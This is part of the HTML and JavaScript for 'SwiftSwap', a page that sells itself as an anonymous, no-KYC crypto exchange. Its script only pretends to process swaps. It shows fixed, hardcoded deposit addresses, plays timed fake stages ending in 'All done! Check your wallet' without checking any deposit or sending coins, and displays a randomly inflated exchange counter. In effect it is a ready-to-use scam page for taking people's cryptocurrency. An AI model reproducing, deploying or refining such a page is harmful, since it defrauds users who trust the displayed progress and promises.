<div class="o-qr"><div class="o-qr-box" id="qrCode"></div></div>
<div class="o-addr"><div class="o-addr-txt" id="dAddr">...</div><button class="o-addr-copy" onclick="cpy(document.getElementById('dAddr').textContent)">Copy Address</button></div>
<div class="o-warn"><svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M12 9v4m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"/></svg><span>Only send <strong id="wCoin">BTC</strong> on the <strong id="wNet">Bitcoin</strong> network to this address. Anything else sent here will be lost forever — we can't recover it.</span></div>
</div>
<div class="o-grid">
<div class="o-det"><small>You send</small><strong><img id="oSI" src="" alt=""><span id="oSA">-</span></strong></div>
<div class="o-det"><small>You get</small><strong><img id="oRI" src="" alt=""><span id="oRA">-</span></strong></div>
<div class="o-det"><small>To wallet</small><strong style="font-size:10px;font-family:'JetBrains Mono',monospace;word-break:break-all;font-weight:500" id="oRec">-</strong></div>
<div class="o-det"><small>Fee</small><strong style="color:var(--y)">0.8% flat</strong></div>
</div>
<button class="btn2" onclick="newSwap()">← Start a new exchange</button>
</div>
</div>
</div>
</div>
<!-- HOW IT WORKS -->
<section class="sec" id="how">
<h2>Dead simple. Here's how.</h2>
<p class="sub">We stripped away everything you don't need. No accounts, no verification queues, no "please upload a utility bill." You're in and out in three steps.</p>
<div class="grid3">
<article class="stp"><div class="stp-n">1</div><h3>Pick your pair</h3><p>Choose what you're sending and what you want back. We'll show you the live rate with the fee already baked in — no surprises at checkout.</p></article>
<article class="stp"><div class="stp-n">2</div><h3>Send your crypto</h3><p>You'll get a one-time deposit address and a QR code. Send the exact amount, and we pick it up the moment it hits the blockchain.</p></article>
<article class="stp"><div class="stp-n">3</div><h3>Get your coins</h3><p>Once confirmed, we swap and send the new coins straight to your wallet. Most swaps wrap up in under three minutes.</p></article>
</div>
</section>
<!-- WHY US -->
<section class="sec">
<h2>Why people keep coming back</h2>
<p class="sub">We built this for people who just want to swap coins without jumping through hoops.</p>
<div class="grid4">
<article class="wcard"><div class="wcard-icon purple"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/></svg></div><h3>Completely anonymous</h3><p>No email, no phone, no name, no nothing. We don't collect personal data because we don't need it. Your swap, your business.</p></article>
<article class="wcard"><div class="wcard-icon blue"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M13 2L3 14h9l-1 8 10-12h-9l1-8z"/></svg></div><h3>Seriously fast</h3><p>Average swap takes about three minutes, sometimes less. We're plugged into deep liquidity so there's no sitting around waiting.</p></article>
<article class="wcard"><div class="wcard-icon green"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="12" cy="12" r="10"/><path d="M8 12l2.5 2.5L16 9"/></svg></div><h3>One fee. No tricks.</h3><p>Flat 0.8% per swap. That's it. It's already included in the rate you see. We don't sneak in extra charges or mark up the spread.</p></article>
<article class="wcard"><div class="wcard-icon pink"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="12" cy="12" r="10"/><path d="M2 12h20M12 2a15.3 15.3 0 014 10 15.3 15.3 0 01-4 10 15.3 15.3 0 01-4-10 15.3 15.3 0 014-10z"/></svg></div><h3>Works everywhere</h3><p>No geo-blocks, no restricted countries. If you've got internet and a wallet, you're good. Europe, Asia, Americas — doesn't matter.</p></article>
</div>
</section>
<!-- SUPPORTED COINS -->
<section class="sec" id="coins">
<h2>30+ coins, all major networks</h2>
<p class="sub">Bitcoin, Ethereum, Solana, BNB Chain, Avalanche, TRON, Aptos, Cardano, and more. If it's listed here, you can swap it.</p>
<div class="cgrid" id="coinsGrid"></div>
</section>
<!-- FAQ -->
<section class="sec" id="faq">
<h2>Got questions? We've got answers.</h2>
<p class="sub">The stuff people ask us most, answered plainly.</p>
<div class="flist">
<details class="faq"><summary>Do I need to make an account?<svg width="15" height="15" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M6 9l6 6 6-6"/></svg></summary><div class="ans">Nope. There's no sign-up, no email, no password, no identity check. You just pick your coins, enter a wallet address, and send your deposit. We wanted it to feel like handing cash to someone and getting different cash back — except on-chain.</div></details>
<details class="faq"><summary>Is this really anonymous?<svg width="15" height="15" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M6 9l6 6 6-6"/></svg></summary><div class="ans">Yes. We don't ask for your name, email, phone number, or any personal details. We don't track you with cookies or analytics. The only thing that touches our system is the blockchain transaction itself. Your privacy is the whole point.</div></details>
<details class="faq"><summary>What do you charge?<svg width="15" height="15" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M6 9l6 6 6-6"/></svg></summary><div class="ans">A flat 0.8% on every swap. We bake it into the rate you see so the number on screen is exactly what you'll get. No hidden fees, no withdrawal charges, no "processing fees." Blockchain network fees are separate — those go to the miners and validators, not us.</div></details>
<details class="faq"><summary>How long will my swap take?<svg width="15" height="15" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M6 9l6 6 6-6"/></svg></summary><div class="ans">Depends on the chain. Solana and TRON swaps can finish in under a minute. Ethereum usually takes 2-5 minutes. Bitcoin's the slowest since blocks come every ten minutes — so expect 10-30 minutes there. We process our side instantly; it's really just waiting for confirmations.</div></details>
<details class="faq"><summary>Can I use this from Europe?<svg width="15" height="15" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M6 9l6 6 6-6"/></svg></summary><div class="ans">Absolutely. We work everywhere — Germany, France, Netherlands, Spain, Italy, Portugal, Poland, wherever. Since there's no account or KYC, there are no regional restrictions. Just open the page and swap.</div></details>
<details class="faq"><summary>What happens if I send the wrong amount?<svg width="15" height="15" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M6 9l6 6 6-6"/></svg></summary><div class="ans">If you send more or less than the stated amount, the swap still goes through — we just recalculate based on what actually arrived, at the current rate. So you won't lose anything, but for the best deal, try to match the exact amount.</div></details>
<details class="faq"><summary>Which networks do you support?<svg width="15" height="15" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M6 9l6 6 6-6"/></svg></summary><div class="ans">Bitcoin, Litecoin, Ethereum (plus ERC-20 tokens), BNB Smart Chain (BEP-20), Base, Avalanche C-Chain, Solana (SPL tokens), TRON (TRC-20), Aptos, Bitcoin Cash, Cardano, and Cronos. We're always adding more — check back often.</div></details>
<details class="faq"><summary>Is there a minimum or maximum?<svg width="15" height="15" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M6 9l6 6 6-6"/></svg></summary><div class="ans">Minimums are small — usually around 5 to 10 euros worth, just enough to cover network fees on both sides. There's no maximum. Whether you're swapping 50 euros or 50,000, same process, same fee.</div></details>
</div>
</section>
<footer>
<div class="flinks"><a href="#swap">Exchange</a><a href="#how">How it works</a><a href="#coins">Supported coins</a><a href="#faq">FAQ</a></div>
<p>© 2025 SwiftSwap — Anonymous crypto exchange. No registration. No KYC. No limits.</p>
</footer>
<!-- COIN MODAL -->
<div class="mov" id="coinModal"><div class="mdl">
<div class="mdl-h"><h3 id="mTitle">Select coin</h3><button class="mdl-x" onclick="closeM()">✕</button></div>
<div class="mdl-s"><input type="text" id="mSearch" placeholder="Search coins, tokens, or networks..." oninput="filterC()"></div>
<div class="mdl-l" id="mList"></div>
</div></div>
<div class="toast" id="toast"><span id="tIcon">✓</span> <span id="tMsg">Copied!</span></div>
<script>
const WL={
btc:'bc1qakljk54fxn336jxrnnkx7d4p66tqn55d36030p',
ltc:'ltc1q8sv9300q08vxqnjrk399cu20grl4c520smadfj',
sol:'4XJ375gkqH85QiiBhi6FzsBcu1fp4xR3Q9zvKcHj9kPW',
trx:'TBqbhyWUqrPVrJHMnsvDhTAfMthrc3kBeT',
evm:'0xFCbE351FC96c6E54Df395dC104EDBEF8c66eC652',
apt:'0x419fbcd450732a22304a5faac6920a8d712376f4282c373d03c0aabb8b1a6ef3',
bch:'qz2npydp2n4a2lmmuny6cva7yzvdp6vx5g730x3p2c',
ada:'addr1q97amymvlu0ex2tvu3m6d7lxag4tgjjg2aen8fymh5veg45rwax3yn9wtact6c79tlhvu8hervz5g5s7c5t9r70mrh6qcy56lq',
cro:'0xFCbE351FC96c6E54Df395dC104EDBEF8c66eC652'
};
const CG='https://assets.coingecko.com/coins/images';
const C=[
{id:'btc',name:'Bitcoin',t:'BTC',net:'Bitcoin',w:'btc',cg:'bitcoin',img:CG+'/1/standard/bitcoin.png',p:0},
{id:'ltc',name:'Litecoin',t:'LTC',net:'Litecoin',w:'ltc',cg:'litecoin',img:CG+'/2/standard/litecoin.png',p:0},
{id:'sol',name:'Solana',t:'SOL',net:'Solana',w:'sol',cg:'solana',img:CG+'/4128/standard/solana.png',p:0},
{id:'ray',name:'Raydium',t:'RAY',net:'Solana SPL',w:'sol',cg:'raydium',img:CG+'/13928/standard/PSigc4ie_400x400.jpg',p:0},
{id:'jup',name:'Jupiter',t:'JUP',net:'Solana SPL',w:'sol',cg:'jupiter-exchange-solana',img:CG+'/34188/standard/jup.png',p:0},
{id:'bonk',name:'Bonk',t:'BONK',net:'Solana SPL',w:'sol',cg:'bonk',img:CG+'/28600/standard/bonk.jpg',p:0},
{id:'wif',name:'dogwifhat',t:'WIF',net:'Solana SPL',w:'sol',cg:'dogwifcoin',img:CG+'/33566/standard/dogwifhat.jpg',p:0},
{id:'rndr',name:'Render',t:'RENDER',net:'Solana SPL',w:'sol',cg:'render-token',img:CG+'/11636/standard/rndr.png',p:0},
{id:'pyth',name:'Pyth Network',t:'PYTH',net:'Solana SPL',w:'sol',cg:'pyth-network',img:CG+'/28177/standard/pyth_logo.png',p:0},
{id:'jto',name:'Jito',t:'JTO',net:'Solana SPL',w:'sol',cg:'jito-governance-token',img:CG+'/33228/standard/jto.png',p:0},
{id:'eth',name:'Ethereum',t:'ETH',net:'Ethereum',w:'evm',cg:'ethereum',img:CG+'/279/standard/ethereum.png',p:0},
{id:'usdt_e',name:'Tether',t:'USDT',net:'Ethereum ERC-20',w:'evm',cg:'tether',img:CG+'/325/standard/Tether.png',p:0},
{id:'usdc_e',name:'USD Coin',t:'USDC',net:'Ethereum ERC-20',w:'evm',cg:'usd-coin',img:CG+'/6319/standard/usdc.png',p:0},
{id:'dai',name:'Dai',t:'DAI',net:'Ethereum ERC-20',w:'evm',cg:'dai',img:CG+'/9956/standard/Badge_Dai.png',p:0},
{id:'link',name:'Chainlink',t:'LINK',net:'Ethereum ERC-20',w:'evm',cg:'chainlink',img:CG+'/877/standard/chainlink-new-logo.png',p:0},
{id:'uni',name:'Uniswap',t:'UNI',net:'Ethereum ERC-20',w:'evm',cg:'uniswap',img:CG+'/12504/standard/uni.jpg',p:0},
{id:'shib',name:'Shiba Inu',t:'SHIB',net:'Ethereum ERC-20',w:'evm',cg:'shiba-inu',img:CG+'/11939/standard/shiba.png',p:0},
{id:'pepe',name:'Pepe',t:'PEPE',net:'Ethereum ERC-20',w:'evm',cg:'pepe',img:CG+'/29850/standard/pepe-token.jpeg',p:0},
{id:'aave',name:'Aave',t:'AAVE',net:'Ethereum ERC-20',w:'evm',cg:'aave',img:CG+'/12645/standard/aave-token.png',p:0},
{id:'mkr',name:'Maker',t:'MKR',net:'Ethereum ERC-20',w:'evm',cg:'maker',img:CG+'/1364/standard/Mark_Maker.png',p:0},
{id:'ldo',name:'Lido DAO',t:'LDO',net:'Ethereum ERC-20',w:'evm',cg:'lido-dao',img:CG+'/13573/standard/Lido_DAO.png',p:0},
{id:'eth_b',name:'Ethereum',t:'ETH',net:'Base',w:'evm',cg:'ethereum',img:CG+'/279/standard/ethereum.png',p:0},
{id:'usdc_b',name:'USD Coin',t:'USDC',net:'Base',w:'evm',cg:'usd-coin',img:CG+'/6319/standard/usdc.png',p:0},
{id:'brett',name:'Brett',t:'BRETT',net:'Base',w:'evm',cg:'based-brett',img:CG+'/35529/standard/1000050750.png',p:0},
{id:'degen',name:'Degen',t:'DEGEN',net:'Base',w:'evm',cg:'degen-base',img:CG+'/34515/standard/android-chrome-512x512.png',p:0},
{id:'bnb',name:'BNB',t:'BNB',net:'BNB Smart Chain',w:'evm',cg:'binancecoin',img:CG+'/825/standard/bnb-icon2_2x.png',p:0},
{id:'usdt_bn',name:'Tether',t:'USDT',net:'BNB BEP-20',w:'evm',cg:'tether',img:CG+'/325/standard/Tether.png',p:0},
{id:'usdc_bn',name:'USD Coin',t:'USDC',net:'BNB BEP-20',w:'evm',cg:'usd-coin',img:CG+'/6319/standard/usdc.png',p:0},
{id:'cake',name:'PancakeSwap',t:'CAKE',net:'BNB BEP-20',w:'evm',cg:'pancakeswap-token',img:CG+'/12632/standard/pancakeswap-cake-logo_%281%29.png',p:0},
{id:'xvs',name:'Venus',t:'XVS',net:'BNB BEP-20',w:'evm',cg:'venus',img:CG+'/12677/standard/download.jpg',p:0},
{id:'avax',name:'Avalanche',t:'AVAX',net:'Avalanche C-Chain',w:'evm',cg:'avalanche-2',img:CG+'/12559/standard/Avalanche_Circle_RedWhite_Trans.png',p:0},
{id:'usdt_av',name:'Tether',t:'USDT',net:'Avalanche C-Chain',w:'evm',cg:'tether',img:CG+'/325/standard/Tether.png',p:0},
{id:'usdc_av',name:'USD Coin',t:'USDC',net:'Avalanche C-Chain',w:'evm',cg:'usd-coin',img:CG+'/6319/standard/usdc.png',p:0},
{id:'joe',name:'Trader Joe',t:'JOE',net:'Avalanche C-Chain',w:'evm',cg:'joe',img:CG+'/17569/standard/JoesLogo.png',p:0},
{id:'trx',name:'TRON',t:'TRX',net:'TRON',w:'trx',cg:'tron',img:CG+'/1094/standard/tron-logo.png',p:0},
{id:'usdt_t',name:'Tether',t:'USDT',net:'TRON TRC-20',w:'trx',cg:'tether',img:CG+'/325/standard/Tether.png',p:0},
{id:'usdc_t',name:'USD Coin',t:'USDC',net:'TRON TRC-20',w:'trx',cg:'usd-coin',img:CG+'/6319/standard/usdc.png',p:0},
{id:'sun',name:'Sun Token',t:'SUN',net:'TRON TRC-20',w:'trx',cg:'sun-token',img:CG+'/16786/standard/sun.png',p:0},
{id:'apt',name:'Aptos',t:'APT',net:'Aptos',w:'apt',cg:'aptos',img:CG+'/26455/standard/aptos_round.png',p:0},
{id:'usdc_ap',name:'USD Coin',t:'USDC',net:'Aptos',w:'apt',cg:'usd-coin',img:CG+'/6319/standard/usdc.png',p:0},
{id:'bch',name:'Bitcoin Cash',t:'BCH',net:'Bitcoin Cash',w:'bch',cg:'bitcoin-cash',img:CG+'/780/standard/bitcoin-cash-circle.png',p:0},
{id:'ada',name:'Cardano',t:'ADA',net:'Cardano',w:'ada',cg:'cardano',img:CG+'/975/standard/cardano.png',p:0},
{id:'cro',name:'Cronos',t:'CRO',net:'Cronos',w:'cro',cg:'crypto-com-chain',img:CG+'/7310/standard/cro_token_logo.png',p:0},
{id:'usdc_cr',name:'USD Coin',t:'USDC',net:'Cronos',w:'cro',cg:'usd-coin',img:CG+'/6319/standard/usdc.png',p:0},
];
let sC=C[0],rC=C.find(c=>c.id==='eth'),mMode='send',pLoaded=false;
const FEE=0.008;
const FB={bitcoin:97000,litecoin:105,solana:190,raydium:3.8,'jupiter-exchange-solana':0.85,bonk:0.000022,dogwifcoin:1.5,'render-token':7.2,'pyth-network':0.35,'jito-governance-token':3.2,ethereum:3400,tether:1,'usd-coin':1,dai:1,chainlink:18.5,uniswap:12.5,'shiba-inu':0.000022,pepe:0.000012,aave:280,maker:2100,'lido-dao':2.2,'based-brett':0.12,'degen-base':0.01,binancecoin:610,'pancakeswap-token':3.2,venus:8.5,'avalanche-2':38,joe:0.45,tron:0.25,'sun-token':0.02,aptos:9.5,'bitcoin-cash':480,cardano:0.72,'crypto-com-chain':0.095};
async function fetchP(){
try{
const ids=[...new Set(C.map(c=>c.cg))].join(',');
const r=await fetch('https://api.coingecko.com/api/v3/simple/price?ids='+ids+'&vs_currencies=usd');
if(!r.ok)throw new Error('fail');
const d=await r.json();
C.forEach(c=>{if(d[c.cg]&&d[c.cg].usd)c.p=d[c.cg].usd;});
pLoaded=true;
document.getElementById('rLive').textContent='● Live rates';
calc();
}catch(e){
C.forEach(c=>{if(FB[c.cg])c.p=FB[c.cg];});
pLoaded=true;
document.getElementById('rLive').textContent='○ Cached rates';
calc();
}
}
function init(){
updUI();buildGrid();fetchP();
setInterval(fetchP,60000);
document.getElementById('sendAmt').addEventListener('input',calc);
document.getElementById('coinModal').addEventListener('click',e=>{if(e.target===e.currentTarget)closeM();});
document.addEventListener('keydown',e=>{if(e.key==='Escape')closeM();});
let cnt=8400+Math.floor(Math.random()*3000);
document.getElementById('sExch').textContent=cnt.toLocaleString();
setInterval(()=>{cnt+=Math.floor(Math.random()*3)+1;document.getElementById('sExch').textContent=cnt.toLocaleString();},11000);
}
function updUI(){
document.getElementById('sImg').src=sC.img;document.getElementById('sImg').alt=sC.t;
document.getElementById('sName').textContent=sC.t;document.getElementById('sNet').textContent=sC.net;
document.getElementById('rImg').src=rC.img;document.getElementById('rImg').alt=rC.t;
document.getElementById('rName').textContent=rC.t;document.getElementById('rNet').textContent=rC.net;
document.getElementById('rLabel').textContent=rC.t;
}
function calc(){
if(!pLoaded||!sC.p||!rC.p){document.getElementById('rateDisp').textContent='Loading live rates...';return;}
const a=parseFloat(document.getElementById('sendAmt').value)||0;
const raw=sC.p/rC.p,rate=raw*(1-FEE),recv=a*rate;
document.getElementById('recvAmt').value=recv>0?fmt(recv):'';
document.getElementById('rateDisp').textContent='1 '+sC.t+' ≈ '+fmt(rate)+' '+rC.t;
}
function fmt(n){if(!n)return'0';if(n>=10000)return n.toFixed(2);if(n>=1)return n.toFixed(4);if(n>=0.0001)return n.toFixed(6);if(n>=1e-7)return n.toFixed(10);return n.toExponential(4);}
function openM(m){
mMode=m;document.getElementById('mTitle').textContent=m==='send'?'You send':'You receive';
document.getElementById('mSearch').value='';renderL(C);
document.getElementById('coinModal').classList.add('on');
setTimeout(()=>document.getElementById('mSearch').focus(),80);
}
function closeM(){document.getElementById('coinModal').classList.remove('on');}
function filterC(){const q=document.getElementById('mSearch').value.toLowerCase();renderL(C.filter(c=>c.name.toLowerCase().includes(q)||c.t.toLowerCase().includes(q)||c.net.toLowerCase().includes(q)));}
function renderL(coins){
const sel=mMode==='send'?sC:rC;
const fb="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 40 40'%3E%3Ccircle cx='20' cy='20' r='20' fill='%23262838'/%3E%3C/svg%3E";
document.getElementById('mList').innerHTML=coins.map(c=>
'<div class="ci'+(c.id===sel.id?' on':'')+'" onclick="pick(\''+c.id+'\')">'+
'<img src="'+c.img+'" alt="'+c.t+'" onerror="this.src=\''+fb+'\'">'+
'<div class="ci-i"><div class="ci-n">'+c.t+' <span>— '+c.name+'</span></div>'+
'<div class="ci-p">'+(c.p?'$'+(c.p<0.01?c.p.toFixed(8):c.p.toLocaleString(undefined,{maximumFractionDigits:2})):'...')+'</div></div>'+
'<span class="ci-t">'+c.net+'</span></div>').join('');
}
function pick(id){
const c=C.find(x=>x.id===id);if(!c)return;
if(mMode==='send'){if(c.id===rC.id)rC=sC;sC=c;}else{if(c.id===sC.id)sC=rC;rC=c;}
updUI();calc();closeM();
}
function swapDir(){[sC,rC]=[rC,sC];updUI();calc();}
function startExchange(){
const amt=parseFloat(document.getElementById('sendAmt').value);
const addr=document.getElementById('recAddr').value.trim();
if(!amt||amt<=0)return toast('Enter a valid amount','!');
if(!addr||addr.length<10)return toast('Enter a valid wallet address','!');
if(!pLoaded)return toast('Rates still loading...','...');
const oid='SW-'+Math.random().toString(36).substr(2,8).toUpperCase();
document.getElementById('ordId').textContent=oid;
const rate=(sC.p/rC.p)*(1-FEE),recv=amt*rate,depA=WL[sC.w];
document.getElementById('dImg').src=sC.img;
document.getElementById('dAmt').textContent=fmt(amt);
document.getElementById('dTkr').textContent=sC.t;
document.getElementById('dCoinFull').textContent=sC.name+' ('+sC.net+')';
document.getElementById('dAddr').textContent=depA;
document.getElementById('wCoin').textContent=sC.t;
document.getElementById('wNet').textContent=sC.net;
document.getElementById('oSI').src=sC.img;
document.getElementById('oSA').textContent=fmt(amt)+' '+sC.t;
document.getElementById('oRI').src=rC.img;
document.getElementById('oRA').textContent=fmt(recv)+' '+rC.t;
document.getElementById('oRec').textContent=addr;
const qr=document.getElementById('qrCode');qr.innerHTML='';
new QRCode(qr,{text:depA,width:180,height:180,colorDark:'#0a0b0f',colorLight:'#ffffff',correctLevel:QRCode.CorrectLevel.H});
document.getElementById('swapForm').classList.add('off');
document.getElementById('orderView').classList.add('on');
document.getElementById('depSec').style.opacity='1';
document.getElementById('depSec').style.display='block';
document.getElementById('oTimer').style.display='flex';
startCountdown();
resetPrg();simulate();
window.scrollTo({top:0,behavior:'smooth'});
}
function newSwap(){
document.getElementById('swapForm').classList.remove('off');
document.getElementById('orderView').classList.remove('on');
document.getElementById('depSec').style.opacity='1';
document.getElementById('depSec').style.display='block';
if(window._st)clearTimeout(window._st);
if(_cdInterval)clearInterval(_cdInterval);
}
const STEPS=[
{s:0,cls:'w',txt:'Waiting for your deposit',sub:'Send the exact amount to the address below',ms:18000,fill:'0%'},
{s:1,cls:'cf',txt:'Deposit detected — confirming',sub:'Waiting for blockchain confirmations...',ms:14000,fill:'25%'},
{s:2,cls:'ex',txt:'Swapping your crypto',sub:'Finding optimal rate across liquidity sources...',ms:11000,fill:'50%'},
{s:3,cls:'sn',txt:'Sending to your wallet',sub:'Transaction broadcast to the network...',ms:9000,fill:'75%'},
{s:4,cls:'dn',txt:'All done!',sub:'Your crypto is on its way. Check your wallet.',ms:0,fill:'100%'}
];
function resetPrg(){
document.querySelectorAll('.o-prg-s').forEach(s=>{s.classList.remove('a','d');});
document.querySelector('.o-prg-s[data-s="0"]').classList.add('a');
document.getElementById('oPrgFill').style.width='0%';
}
function updPrg(i,fill){
document.querySelectorAll('.o-prg-s').forEach((s,j)=>{s.classList.remove('a','d');if(j<i)s.classList.add('d');if(j===i)s.classList.add('a');});
document.getElementById('oPrgFill').style.width=fill;
}
function simulate(){
let cur=0;
function next(){
if(cur>=STEPS.length)return;
const st=STEPS[cur];
document.getElementById('oDot').className='o-dot '+st.cls;
// Update ring colors based on state
const ringColor = st.cls==='w'?'rgba(234,179,8':st.cls==='cf'?'rgba(79,110,247':st.cls==='ex'?'rgba(167,139,250':st.cls==='sn'||st.cls==='dn'?'rgba(34,197,94':'rgba(79,110,247';
document.getElementById('oRing1').style.borderColor=ringColor+',.3)';
document.getElementById('oRing2').style.borderColor=ringColor+',.1)';
document.getElementById('oTxt').textContent=st.txt;
document.getElementById('oSub').textContent=st.sub;
updPrg(st.s,st.fill);
// Update status bg color
const bgMap={w:'rgba(234,179,8,.06)',cf:'rgba(79,110,247,.06)',ex:'rgba(167,139,250,.06)',sn:'rgba(34,197,94,.06)',dn:'rgba(34,197,94,.08)'};
const brMap={w:'rgba(234,179,8,.12)',cf:'rgba(79,110,247,.12)',ex:'rgba(167,139,250,.12)',sn:'rgba(34,197,94,.12)',dn:'rgba(34,197,94,.15)'};
document.getElementById('oStatus').style.background=bgMap[st.cls];
document.getElementById('oStatus').style.borderColor=brMap[st.cls];
if(cur>=2)document.getElementById('depSec').style.display='none';
if(cur===4){
document.getElementById('oTimer').style.display='none';
toast('Exchange completed! Check your wallet.','OK');
}
cur++;
if(cur<STEPS.length)window._st=setTimeout(next,st.ms+Math.random()*6000);
}
next();
}
function buildGrid(){
const seen=new Set(),u=C.filter(c=>{const k=c.t+c.net;if(seen.has(k))return false;seen.add(k);return true;});
const fb="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 40 40'%3E%3Ccircle cx='20' cy='20' r='20' fill='%23262838'/%3E%3C/svg%3E";
document.getElementById('coinsGrid').innerHTML=u.map(c=>
'<div class="citem"><img src="'+c.img+'" alt="'+c.name+'" onerror="this.src=\''+fb+'\'"><div><b>'+c.t+'</b><span>'+c.net+'</span></div></div>').join('');
}
function cpy(t){navigator.clipboard.writeText(t).then(()=>toast('Copied to clipboard!','OK'));}
function toast(msg,icon){
const t=document.getElementById('toast');
document.getElementById('tIcon').textContent=icon||'OK';
document.getElementById('tMsg').textContent=msg;
t.classList.add('show');setTimeout(()=>t.classList.remove('show'),2600);
}
let _cdInterval;
function startCountdown(){
if(_cdInterval)clearInterval(_cdInterval);
let secs=3600;
const el=document.getElementById('oCountdown');
function upd(){
const m=Math.floor(secs/60),s=secs%60;
el.textContent=(m<10?'0':'')+m+':'+(s<10?'0':'')+s;
if(secs<=0)clearInterval(_cdInterval);
secs--;
}
upd();
_cdInterval=setInterval(upd,1000);
}
document.addEventListener('DOMContentLoaded',init);
</script>
</body>
</html>